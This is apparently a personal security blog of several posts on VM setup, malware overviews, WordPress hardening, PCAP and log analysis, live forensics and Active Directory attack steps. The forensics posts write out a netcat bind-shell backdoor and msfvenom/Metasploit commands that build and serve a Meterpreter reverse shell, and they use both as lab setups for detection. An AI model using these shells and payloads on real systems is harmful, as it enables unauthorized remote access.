This blog entry shows how to connect to a Ubuntu VM via SSH from PowerShell with Windows 10 as a host.
Are you running Windows 10 as a host and want to connect to your Ubuntu VM? Are you using VirtualBox as a hosted hypervisor? If the answers to these questions are two yes, keep reading!
As you will see below, this technique is especially useful if you are using Ubuntu Server – which comes without a GUI – and want to avoid the pains of working on that terminal. For example, Page Up and Page Down didn’t work and the screen was too small. Even VirtualBox Guest Additions didn’t help solve the problem.
Here you find the list of steps from the creation of the VM to the SSH connection via PowerShell (the relative screenshots are under the list):
Create a Ubuntu VM on VirtualBox (I’m using VirtualBox 6.1.26).
Make sure that process sshd is running and listening on port 22 (s. Screenshot 1):
ps aux | grep sshd
sudo netstat -plant | grep :22
Power off the VM.
Open VirtualBox Manager, select the Ubuntu VM, and click on Settings. Click on Network, click on Advanced, click on Port Forwarding. Add a new port forwarding rule and click OK (s. Screenshot 2).
PS: The Guest IP field is empty. With Guest IP = 10.0.2.15 (find yours by typing ifconfig in the terminal of the VM), the connection didn’t work.
Start the VM again.
Launch PowerShell on your host and type: ssh pb@127.0.0.1 -p 10022
The first time you connect, PowerShell will ask if you are sure that you want to connect and show you the ECDSA key fingerprint. You can double check it by typing this in the VM terminal: ssh-keygen -l -f /etc/ssh/ssh_host_ecdsa_key.pub (s. Screenshot 3).
Enter yes.
Type again: ssh pb@127.0.0.1 -p 10022 (if it does not work, restart PowerShell).
Enter you Ubuntu password. You will now see the Ubuntu welcome message (s. Screenshot 4). Now you are connected to your Ubuntu VM via PowerShell from your Windows 10 host. Congratulations! 🙂
Screenshot 1: Check if process sshd is running and listening on port 22.
Screenshot 2: Set up port forwarding.
Screenshot 3: Check if the ECDSA key fingerprint matches.
Screenshot 4: This message means victory 🙂
I hope you liked this post. If you have any questions, feel free to leave a comment in the comment section. Never stop learning!
In this blog post, I test how much time Microsoft Paint spends in kernel mode versus user mode.
In this blog post, I test how much time Microsoft Paint spends in kernel mode versus user mode.
While reading Windows Internals, Part 1, 7th edition, I came across the topic Kernel Mode vs User Mode. After a lengthy explanation of what these modes are and why they exist, the authors stated that graphics-intensive applications, such as Microsoft Paint, spend more of their time in kernel mode than in user mode, because the bulk of the graphics and windowing system runs in kernel mode. With a bit of healthy distrust, I decided to test if this is true by visualizing this behavior with Performance Monitor. Before starting with the test, I will shortly explain why Windows uses two processor modes.
Theory
Windows uses two processor modes in order to protect user applications from accessing and/or modifying critical OS data. User application code runs in user mode, whereas OS code – such as system services and device drivers – runs in kernel mode. Concretely, kernel mode refers to a mode of execution in a processor that grants access to all system memory and all CPU instructions. All in all, user applications run in user mode so that they can’t disrupt the stability of the system as a whole even when they misbehave.
Experiment setup and execution
Run MS Paint
Run Performance Monitor
In Performance Monitor, right click on User Defined under Data Collector Sets in the tree on the left side
Click New, click Data Collector Set
Enter “ms paint monitoring” under Name, select Create Manually, select Next
Select Create Data Logs and Performance Counter, select Next
Click Add
Expand the Process counter session, select both % Privileged Time and % User Time
Under Instances of selected object, select mspaint
Click Add, click OK.
Set Sample Interval to 1 second, select Next
Choose Desktop as Root Directory, select Next
Select Finish
Select “ms paint monitoring” under Data Collector Sets > User Defined in the tree on the left side
Click Play on the toolbar in Performance Monitor
In MS Paint, write “test kernel vs. user mode” with the brush
Click Stop on the toolbar in Performance Monitor
Go to desktop, open the newly created folder, open the BLG file
Analysis and conclusion
My trace is 33 seconds long and has 66 data points (one data point for each second for each mode). After opening the BLG file, the default view should be the Line View, where the red line represents the percentage of time that the threads in the Paint process have run in kernel mode (which is labeled Privileged Time), whereas the green line represents the percentage of time that the threads in the Paint process have run in user mode (which is labeled User Time). You can also change to the Report View to display the average time percentage for each mode.
Line View of the 33-second long trace
Report View of the 33-second long trace
The Report View shows that MS Paint run on average 15% of the time in kernel mode and 8.8% of the time in user mode1. This is also confirmed by the Line View in which the data points for kernel mode are mainly bigger than those for user mode. All in all, this test confirms that Microsoft Paint spends more of its time in kernel mode than in user mode.
I hope you liked this post. If you have any questions, feel free to leave a comment in the comment section. Never stop learning!
Emotet was the major threat to the German state, industry, and civil society in the period between 1st June 2019 and 31st May 2020.
In this blog post, I will give an overview of how the malware1 Emotet works. According to the BSI2‘s report The State of IT Security in Germany in 2020, this malware was the major threat to the German state, industry, and civil society in the period between 1st June 2019 and 31st May 2020.
In the report The State of IT Security in Germany in 2020, Horst Seehofer3 defines Emotet as a “sophisticated combination of a digital toolbox and social engineering that makes it possible to infect even professional users”. In more technical terms, Emotet is a former banking Trojan4 that now embodies a wide range of malware functions, such as harvesting information, sending unsolicited e-mails, and downloading additional malware.
Emotet distribution
Emotet is distributed via email, either as an attachment or a link. As an email attachment, the payload is usually delivered as a document file, e.g., a DOCX file, or as an image, e.g., a JPEG file. On the other hand, the malicious link delivered via email redirects to a compromised web page from which the payload is downloaded. In both cases, Emotet is then installed onto the infected computer.
Information harvesting and spreading
Once installed, Emotet collects the email communication history of the victim. This information is then used by the malware to automatically generate realistic emails that are sent in the name of the victim to his/her contacts. This means that Emotet does not need any attacker intervention to spread, which is an aspect that makes this malware very dangerous.
Downloading additional malware
Emotet also downloads other malware after successful installation. The BSI report indicates that the malware Trickbot and the ransomware Ryuk were the two payloads mainly associated with Emotet in the reporting period.
Trickbot is malware that can compromise the victim network automatically. In particular, the BSI report indicates that Trickbot has the capability of taking over the Domain Controller in Active Directory without the attacker intervention. If this happens, it is game over for the targeted company. In other less dramatic but nevertheless dangerous cases, Trickbot can set-up backdoors on the infected system in order to guarantee persistent presence within the victim’s network.
Trickbot also collects information about the victim’s computers and sends them back to the attacker. According to the BSI report, this information is then used by the attackers to decide whether to run the ransomware Ryuk on the targeted network. If the victim organization seems solvent, Ryuk is deployed simultaneously on all their accessible servers and endpoints, and often even on their backups as well.
Ransomware attack on a German town with Emotet as the point of entry
At the beginning of September 2019, the administration of a town in the district of Hanover (Lower Saxony) was the victim of a ransomware attack that used Emotet as the point of entry into their network. According to the BSI report, Emotet was likely sent to the council’s computer as an attachment in an email that looked authentic. After successful installation, the attackers deployed the Ryuk ransomware that encrypted about 550,000 files on the administration computers of this German town. As a consequence of this attack, all the council business came to a standstill. It took more than a week to take the first systems back online.
Conclusion
All in all, Emotet is malware that is used as the entry point for compromising a computer network. This malicious piece of software spreads using information harvesting and social engineering. Emotet also downloads and installs the Trickbot malware which is used to compromise and gather intel about a victim’s network. If the victim seems solvent, the attackers then deploy the ransomware Ryuk to encrypt the victim’s data and ask for a ransom.
I hope you liked this post. If you have any questions, feel free to leave a comment in the comment section. Never stop learning!
I will show you six easy tricks to improve the security of your WordPress website.
In this blog post, I will show you six easy tricks to improve the security of your WordPress website.
Create a new administrator and delete the default one
Why?
Each new WordPress website has a default administrator. Now let’s assume that an attacker targets my website. They can easily find out that the content management system (CMS) for this website is WordPress by using a Chrome extension like Wappalyzer. Then they can find the WordPress default admin usernames with a Google search and enumerate users on my website thanks to a flaw on the WordPress login page.
By entering username=”test” and password=”test”, an attacker learns that “test” is not a valid username. This is an example of information disclosure that helps threat actors to enumerate the users on a webserver. WordPress should change this message to the more generic “invalid username or password”.
Knowing the administrator username reduces the search space for dictionary attacks and brute force attacks. Now if the admin password is also common1 or weak, the attackers will take over the website in a matter of minutes.
How?
Add a new user2 with role “administrator” with a strong password. I like my passwords to have at least 20 characters (a mixture of lowercase, uppercase, numbers, and special characters). Then login with the new admin account and set-up 2FA right away (see below), and delete the default admin user3.
Add the recommended security headers
Why?
Security headers add an extra layer of protection to SSL4.
HSTS: This header forces the browser to do all requests to the website domain over HTTPS.
X-Content-Type-Options: The browser is forced not to guess what kind of data is passed. If the extension is “.pdf”, the browser will expect a PDF file.
X-XSS Protection: It will block the page in the browser from loading if reflected cross-site scripting (XSS) is detected.
Expect-CT: In order to prevent fraud, the SSL Certificate Authority has to log the certificates with the Certificate Transparency (CT) framework.
Content-Security-Policy: This header is another method to force requests to the website domain over HTTPS.
How?
Open the .htaccess file on your server5 and add the following lines:
Add the following security headers to your .htaccess file.
Hide the PHP version from the HTTP Response Header
Why?
By default, the Apache server running my website exposes the PHP version in the HTTP Response Header. That is, it makes the PHP version that I use public on the Internet. This is particularly dangerous when the PHP version is an old and vulnerable one. An attacker could look for exploits against this specific version, and maybe get a reverse shell on the server.
The PHP version is visible in the HTTP response Header.
How?
Open the php.ini file on your Apache server. Set the expose_php variable to Off. Restart php-fpm and apache.
The PHP version is not visible anymore.
Enable auto-updates for WordPress, plugins, and themes
Why?
It is important to install the newest stable software releases as soon as they are available because they usually contain security patches. Enabling auto-updates takes this task off of your mind.
How?
WordPress: Go to Dashboard > Updates. Under “Current version”, click on “Enable auto-updates”.
Plugins: Go to Plugins > Installed Plugins. Under the column “Automatic updates”, enable auto-updates for every single plugin used. Delete inactive plugins.
Themes: Go to Appearance > Themes. Open the current theme and click on “Enable auto-updates”. Keep only one other theme as a backup. Delete all other inactive themes.
Use Two-Factor-Authentication for each single user
Why?
This adds an extra layer of protection to the authentication process. If the password of a user is cracked or leaked accidentally, the attacker will not be able to authenticate on the website (at least not easily).
How?
Install and activate the WP 2FA plugin as the admin user. Force each user on the blog to add 2FA to their account without delay.
Make sure that only used server ports are open
Why?
Open ports on a server are a security vulnerability that can potentially allow a hacker to exploit services on your network. If those services are unpatched, a hacker can easily take advantage of the system after running a port scan.
How?
Go to https://www.shodan.io/ and enter the IPv4 address of your server. Under “Ports”, you will see the open ports. If any port that you are not using is listed there, close it right away.
I hope you liked this post. If you have any questions, feel free to leave a comment in the comment section. Never stop learning!
I analyze a PCAP file that was captured on a machine infected with the Zeus malware.
In this blog post, I will analyze a PCAP file that was captured on a machine infected with the Zeus malware. The analysis will be run with Wireshark. The packet capture comes from the Malware-Of-The-Day archive on Active Countermeasures.
This is the setup of the lab for the Zeus malware on Active Countermeasures.
Introduction
We will first get an overview of the malicious activity on this system by listing HTTP requests1. Then, we will analyze the conversations between the infected system and the C22 server.
We download zeus_1hr.pcap from here to our Kali Linux 2020.3 instance. We will use Wireshark 3.2.5 for the analysis.
HTTP Requests Analysis
We launch Wireshark and open zeus_1hr.pcap. Next, we list HTTP requests by HTTP host. What to select on the Wireshark GUI is listed under each screenshot.
Statistics > HTTP > Requests 117 HTTP requests (more than 95% of all HTTP requests) with the same string are made to a suspicious domain.
The first thing that stands out is that more than 95% of all HTTP requests are made to mahamaya1ifesciences.com. All 117 of them request the same JPG file. Let’s analyze each single HTTP host:
ocsp.digicert.com: This seems legit. OCSP is a protocol that checks whether an SSL certificate has been revoked.
tile-service.weather.microsoft.com: This seems legit. This is used to download updates to the Weather app Live Tile.
239.255.255.250:1900: This seems legit. This is the IPv4 site-local address for the network protocol Simple Service Discovery Protocol.
mahamaya1ifesciences.com: This is suspicious because it modifies the legit domain mahamayalifesciences.com by replacing the “l” with a “1”. A quick search on the Internet shows that this is a known Zeus C2 domain.
TCP Stream Analysis
The next step is to zoom in onto the conversation between the infected machine and the C2 server. First, we need to find out the IP addresses of the machines involved. The target machine’s IPv4 is 192.168.99.53, whereas the C2 server’s IPv4 is 67.207.93.135 as described in the lab setup3. By looking at all the conversations, we notice that 67.207.93.135 and 192.168.99.53 exchanged more than 25,000 packets (28 MB). This makes them the conversation pair with more traffic.
Statistics > Conversation > IPv4 67.207.93.135 and 192.168.99.53 are the conversation pair with more traffic.
Right-click on conversation > Apply as Filter > Selected > A<->B This updates the filter for the Wireshark instance so that we can zoom in onto the conversation between 67.207.93.135 and 192.168.99.53.
By updating the filter, we now only see the conversation between 67.207.93.135 and 192.168.99.53. Next, we follow the relative TCP stream and read the server response to the HTTP requests from the infected machine.
Right click on No. 1 > Follow > TCP Stream This is the payload that the C2 server (67.207.93.135) sends to the infected machine (192.168.99.53).
By following the TCP stream, we see that the C2 server sends a PowerShell command to the infected machine. This is made clear by the use of IEX. This is the alias for Invoke-Expression, which is a PowerShell cmdlet4. In this instance, IEX runs a command that decompresses and reads a gzip stream. This is done using System.IO modules.
All in all, we analyzed a PCAP trace with Wireshark and found out with a few clicks that the Zeus malware delivers its payload by a PowerShell one-liner5.
I hope you liked this post. If you have any questions, feel free to leave a comment in the comment section. Never stop learning!
In this blog post, I will provide an introduction of how to do live forensics on a Linux machine by using default command line tools.
In this blog post, I will provide an introduction of how to do live forensics on a Linux machine by using default command line tools. If you wish to do the same on a Windows machine, I have got you covered: Endpoint Live Forensics from the Command Line on Windows. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).
In order to understand the following steps, we need to know that everything on Linux is a file, even processes. Today, we will look into /proc, which is a directory that contains a folder for each running process. Each process has its own directory with virtual files within. Spoiler alert: We are going to analyze one of those files.
Create a backdoor and connect to it
Let’s start by setting up a malicious process on the Linux system. Firstly, we create a backdoor with netcat from a terminal tab and connect back to it from a second tab.
Terminal tab 1:
mknod backpipe p
/bin/bash 0<backpipe | nc -l 2222 1>backpipe
The first command creates a file of type device pipe called backpipe, whereas the second one starts a netcat listener on port 2222 that forwards all input through the backpipe and then into a bash session. It then takes the output of the bash session and puts it back into the netcat listener. Wait what? At first, I couldn’t visualize what this command did – yes, vision is strong with this one, so I played with it. The screenshot below visualizes how this backdoor works.
The unintended use of the backdoor killed it, but we can now see its inner working. My input, i.e., the command whoami, is rerouted to the input of bash which replies root and kills the listener.
Terminal tab 2:
nc 127.0.0.1 2222
In real life, you would use the IP address of the target machine instead of 127.0.0.1. This works in this situation, because the attacker and the victim machines are one and the same.
This is the intended use of the backdoor on the target (terminal tab 1). From a second tab, we connect to it. In a real attack, this second tab will be on the threat actor’s computer and will enable them to navigate and modify the target system.
Run analysis from the command line with default tools
Now everything is set up for the analysis. We open a third terminal tab, we switch to root, and list all the open connections with lsof -i -P1.
We list the open connections with lsof -i -P
This list shows two processes. PID 157 is the process running our backdoor (user: root), whereas PID 158 is the TCP connection to it, that is, the process launched from the second tab we opened (user: adhd). In a real world situation we would only the outbound connection from port 2222, because the inverse connection would be on the attacker’s machine. Next, we investigate PID 157 further by running lsof -p 157.
We investigate the possibly malicious PID 157 further.
This command lists all open files associated with this process. We can see that there is a named pipe2 called backpipe in the root folder and netcat is running from the bin directory. This is the first indication that netcat is currently running on the system. We can now go a step further and list the command that initialized these processes by running ps aux3.
List the commands that started the processes. If you look closely, you can see that I opened two terminal tabs (pts/2 where I started the listener and pts/1 where I connected back to the listener) and, after a break, opened a third one from which I’m running the analysis now.
The output of this command shows that there is a backdoor running on port 2222. From here, we take the last step and analyze the executable running process 157. We do this with the tool strings4 which confirms our suspicion that netcat was running within PID 157.
cd /proc/157
strings ./exe
In the output of strings run on exe, we see that netcat is definitely running on PID 157.
All in all, we were able to detect a fishy connection, find the PID behind it, list the command that invoked the corresponding process and analyze its executable using Linux built-in tools only.
I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!
In this blog post, I will use the PowerShell module DeepBlueCLI to quickly discover suspicious account and command line behavior by parsing some sample evtx files from DeepBlueCLI GitHub page.
In this blog post, I will use the PowerShell module DeepBlueCLI to quickly discover suspicious account and command line behavior by parsing some sample evtx files1from DeepBlueCLI GitHub page. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).
New user is created and immediately added to the local Administrators group
In this section, we will analyze new-user-security.evtx with DeepBlueCLI. In the output, we see that a new user with username “IEUser” was created at 10:22:39 AM and then added to the local Administrators group at 10:22:40 AM, that is, one second after creation. This is suspicious as threat actors often create new users in order to gain a level of persistence in the network that they would not otherwise gain with malware.
Two security events from the log file were connected together by DeepBlueCLI and presented back to us with an intuitive summary.
Password spraying
In this section, we will analyze password-spray.evtx with DeepBlueCLI. Password spray attacks are those attacks where a threat actor targets a list of usernames on a domain and sprays them with the same password, like Winter2020. This attack is often successful because many companies do not implement a strong password policy. Moreover, such technique doesn’t often get picked up because accounts don’t get locked out, as the attacker keeps the attempted logon count below the lockout threshold defined in the lockout policy. In this instance, we see that DeepBlueCLI detects the attack and summarizes it for humans to read. Concretely, we see that a password spray attack was launched by user jwrig from machine DESKTOP-JR78RLP. Moreover, we see a list of the target usernames as well.
The DeepBlueCLI summary of a password spraying attack.
Password guessing
In this section, we will analyze smb-password-guessing-security.evtx with DeepBlueCLI. Password guessing attacks are those where the threat actor tries to login as a single user by trying out different passwords. In this instance, DeepBlueCLI detects such an attack against the Administrator account. The DeepBlueCLI summary shows that 3560 login attempts were made for this account.
The DeepBlueCLI summary of a password guessing attack.
Suspicious command line (attack with obfuscation)
In this last section, we will analyze Powershell-Invoke-Obfuscation-encoding-menu.evtx with DeepBlueCLI. This file contains logs of commands run from Powershell that are suspicious because they contain a lot of not common symbols. Attackers often use a number of encoding techniques to bypass signature detection2. Concretely, this means that threat actors rewrite malicious commands using not common symbols. For example, they could build the commands a character at a time, like in the screenshot below. Fortunately, this kind of activity often gets logged by Windows Defender because non-malicious scripts do not use so many uncommon characters. As you can see below, DeepBlueCLI runs a statistic on this specific command line invocation and shows that only 58% alphanumeric and common symbols were used in this example, thus indicating malicious activity.
This Powershell command was written character by character, that is, using the data type char. This is an example of obfuscation, a technique typically used by attackers to bypass signature detection.
All in all, DeepBlueCLI enables fast discovery of specific events detected in Windows Security. In this post, we only looked at detections of suspicious account and command line activities. However, DeepBlueCLI can do much more. Check out its page on GitHub!
I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!
In this blog post, I will provide an introduction of how to do live forensics on a Windows machine by using default command line tools.
In this blog post, I will provide an introduction of how to do live forensics on a Windows machine by using default command line tools. We will think of a compromised machine as a big haystack. In order to find out information about the attack, we will start with network connections and work backwards from there. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).
The methods that I will present next will work in the majority of situations. However, there are cases where these tools won’t detect malicious activity. This is the case when the attacker uses a protocol that is not connection-oriented, like UDP1, or when the threat actor creates malware that has the capability to hide from our scans.
Detect a new shareon an endpoint
Threat actors usually set up share drives on an infected endpoint. They do this because they don’t pull data directly from e.g., a SQL server. Instead they first copy files from the server to the infected endpoint, and then exfiltrate those files from there.
This section deals with the command net view which detects shares2 on a computer. This tool gives the SOC analyst the capability of detecting an attack by listing shares. At this point, it is important to notice that companies usually have servers that work as file shares. Thus, we do not expect to see share drives on an endpoint.
This is the result delivered by net view when the machine under scrutiny has no shares.
In order to demonstrate how this command works, we will first create a share on Windows 10.
Open File Explorer > Go to “C:\” > Create folder “Evil-Share”
Right click on “Evil-Share” > Properties > Sharing tab > Share > From dropdown, choose Everyone and click Add > Change Permission Level to Read/Write > Share (You might have to turn on File Sharing) > Done > Close
Now “Evil Share” is visible when running net view.
Evil-Share is listed as a share on the local machine.
Reconstruct the attack chain
Incidents are not isolated systems to be reviewed. Instead they are interactions between different machines. For this reason, it is important to track the communication between different machines on a network.
The command net session lists the inbound connections of a machine3. If the attacker were to pull data from an SQL server on our network and we were to run net session on that server, we would be able to see the communication between that server and the compromised endpoint.
This is the result of net session after running this command on a Windows Server 2012 R2 machine. Here we can see that computer \\BWESTON has a session open with Server 2012.
Identify which process started the malicious executable
In this section, we will learn how to track down the name of the process that started the malicious executable on a Windows endpoint. In order to do this we will use netstat, a tool that displays protocol statistics, and current TCP and UDP connections.
First, we create the malicious file and serve it from a machine running Kali. We create the payload for a reverse TCP shell with msfvenom and save it in the TrustMe.exe. We then serve this executable via a Python HTTP Server on port 8000. In parallel, we also start a reverse TCP handler.
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<YOUR KALI IPv4> lport=4444 -f exe -o /tmp/TrustMe.exe
cd /tmp
python -m SimpleHTTPServer 8000&
Hit Enter
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost <YOUR KALI IPv4>
run
On Windows, open Edge and go to http://<KALI IPv4>:8000 and run TrustMe.exe from the browser without saving it. If you get a security warning, click Run. If you look at your Kali terminal tab, you will see that we now have a Meterpreter session.
The malicious executable is runnable on our Windows machine.
In the next steps, we will find out which process launched TrustMe.exe using the command line. In this case, the answer is obvious as we started the executable, but the technique remains valuable nevertheless.
We first run netstat -naob4. This command will let us find out whether suspect processes are running and also show the process name and ID, and the IP address of the machine they are communicating to.
There is a TCP connection established on port 4444 with a machine whose IPv4 is 172.28.254.28. Moreover, we see that PID 3132 was started by TrustMe.exe.
We can investigate further and check if 172.28.254.28 can be resolved to any known domain by our DNS.
We see that 172.28.254.28 cannot be resolved to a domain name.
The next step is to investigate process 3132 further. We can list all the modules that this process uses by running tasklist /m /fi "pid eq 3132"5. A quick online search of the DLLs displayed shows that they contain kernel functions. Unfortunately, this doesn’t confirm whether the executable is malicious.
TrustMe.exe is running four DLLs that all contain kernel functions.
We now look for the command line invocation of TrustMe.exe. The result of wmic process where processid=3132 get commandline6 shows that the executable was invoked by the Edge browser helper. Moreover, we also learn that this is a temporary file.
Get command line invocation of TrustMe.exe using WMIC.
The last remaining step is to understand the heritage of this process, that is the reaction chain that triggered it. In this case, it is quite simple. TrustMe.exe was executed by browser_broker.exe, which is a software component of Microsoft Edge.
The parent process that run TrustMe.exe is browser_broker.exe, a software component of Microsoft Edge.
Using only standard command line tools, we were able to detect a TCP connection to a suspicious IP address that was created by TrustMe.exe. Moreover, we also listed the DLLs used by this executable, its command line invocation and its parent process.
I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!
In this blog post, I will briefly answer the most important questions about the hijack of SolarWinds Orion.
In this blog post, I will briefly answer the most important questions about the hijack of SolarWinds Orion. My target audience is information security noobs like me, but you can read along too if you are more advanced.
Which company develops and sells the compromised software?
Which software was compromised and what does this software do?
SolarWinds Orion. SolarWinds Orion is an IT performance monitoring platform. Orion does the following (I took this list from a LinkedIn post by Chris Roberts on 15.12.2020. All the credits for this list go to him!):
Network, server, storage, and application monitoring
Network, IP, and virtualization management
NetFlow analysis and web performance monitoring
Log analysis
User device tracking
Server configuration monitoring
Database performance analysis
Patch management
What happened exactly?
Threat actors inserted malicious code into Orion updates that were released between March and June 2020. The malicious code lets the threat actors spy on their targets at will.
What is the possible impact?
SolarWinds has 275,000 customers worldwide, but according to the company only “fewer than 18,000” downloaded the compromised updates.
Which are some US institutions using Orion?
The Pentagon, the State Department, the NSA, the Department of Justice and the Office of the President.
Who are the malicious actors? What is their goal?
This information is unknown at the moment. Some people point the finger at Russia, but there has been no official confirmation yet. However, officials suggested that the attack has all the hallmarks of an espionage operation.
How did SolarWinds get breached?
This information is unknown at the moment. One possibility is that an insider helped the threat actors gain access to the source code of the software updates. Another possibility is that SolarWinds was breached with a remote attack and didn’t detect it.
How many governments and companies have been compromised?
This information is unknown at the moment. We have to assume that the original Orion customer base, together with organizations which shared data with the targets, are at risk.
I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!
In this blog post, I sketch the chronological order of an attack to Active Directory.
I completed the Active Directory section on “Practical Ethical Hacking” by Heath Adams (aka The Cyber Mentor) and my brain was overwhelmed. He presented many great techniques and tools, but it wasn’t clear to me how a real attack to Active Directory (AD) looked like. This is the reason why I’m writing this blog post. This is my attempt to bring a bit of (chronological) order in an AD penetration test.
In this post, I will elaborate on points 2-4 based on my notes from the course. Here I will assume that we have access to a machine in the target domain already. In real life, a malicious actor could get control over such a machine with e.g., spear-phishing, which is a personalized campaign that targets single individuals within a company.
Post-compromise enumeration
The first step after getting inside the target network is to perform reconnaissance in order to discover useful resources to e.g., escalate permissions. What was surprising for me is that this can be done by a domain user, that is, a regular user with no admin rights.
One of the most famous tools to enumerate a domain is called PowerView (now PowerSploit). With this tool we can gather information about the domain we are attacking. For example, we can get to know the IP address of the domain controller(s) or enumerate the domain password policy. The latter is interesting because it lists the enforced minimum password length for the domain (among other things). Such information is useful for tuning a password spraying attack.
The highlight of post-compromise recon was the enumeration of the attributes for each computer on the domain, as this list also includes the Service Principal Names (SPNs), such as SQL servers or Exchange servers. Apparently, administrators often save passwords in the field “description” and make these services domain administrators as well. In such instances, we will not only have access to sensitive data but also control over the domain controller. Sweet!
Credential theft
Once we are finished with the recon of the domain, we can proceed to steal the credentials of the domain user on the infected machine. This will be useful for lateral movement. Firstly, we get hold of the hash using LLMNR poisoning and crack it offline. The stolen credentials can be used for a pass-the-password attack. If we cannot decrypt the hash, we can use it for a pass-the-hash attack, or an SMB relay attack.
Privilege escalation
Until now we have worked with a domain user. In this section, we will learn how to do privilege escalation on AD by tackling the following three techniques: getting passwords from SYSVOL, exploiting the MS14-068 vulnerability, and Kerberoasting.
The first option does not require any hacking tool, as any authenticated user has read access to the SYSVOL share. In this share, XML files – such as Groups.xml – are generated anytime a new Group Policy Preference (GPP) is created. Such a file contains the relevant configuration for the new GPP and (if there is a password) a password in the field “cPassword” that is encrypted with AES-256. This is a solid encryption algorithm that cannot be cracked easily. However, the AES encryption key was leaked and now anyone can decrypt the passwords. This vulnerability has been patched with a Knowledge Base (KB) which prevents new credentials from being placed in GPP. However, administrators still have to remove all existing GPP xml files in SYSVOL that contain passwords. If they forget to do so, we can easily decrypt the password with gpp-decrypt on Kali. If we are lucky, we may find some administrator passwords in that share.
The third and last option to do privilege escalation presented in this blog post is called Kerberoasting. The goal of this attack is to crack a server account hash by misusing Kerberos, a network authentication protocol. This is possible because any domain user can get a service ticket without sending traffic to the target. In this exploit, the user first requests a TGT (ticket-granting ticket) to the domain controller by providing his/her NTLM hash. The domain controller sends back the TGT encrypted with the krbtgt hash. The user then sends a request for a TGS (ticket-granting service ticket) by presenting the new TGT. The domain controller sends back the TGS encrypted with the server account hash. Now we get hold of this hash and try to crack it with GetUserSPN.py. This attack is usually successful as service user accounts often have weak passwords.
A visualization of how Kerberos works. In a Kerberoasting attack, we utilize only the first four steps.
Impersonate the administrator when only having local admin rightson an end-point machine
This section will briefly introduce a technique called token impersonation which only works if the user has local admin rights. In this attack, our goal is to find an administrator token – that is, a temporary key that allows a user to access to a machine or network without having to provide credentials each time – on an end-point machine and use it to impersonate the administrator. By using Incognito on Metasploit, we can list the delegate tokens – that is, tokens that are created anytime a user logs on a machine (either locally or via RDP) – on the victim machine. If there are no such tokens on the present machine, we can move laterally via e.g., SMB relay attacks, until we found one with such tokens. By impersonating the administrator, we can steal its credentials and then get access to the domain controller.
I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!
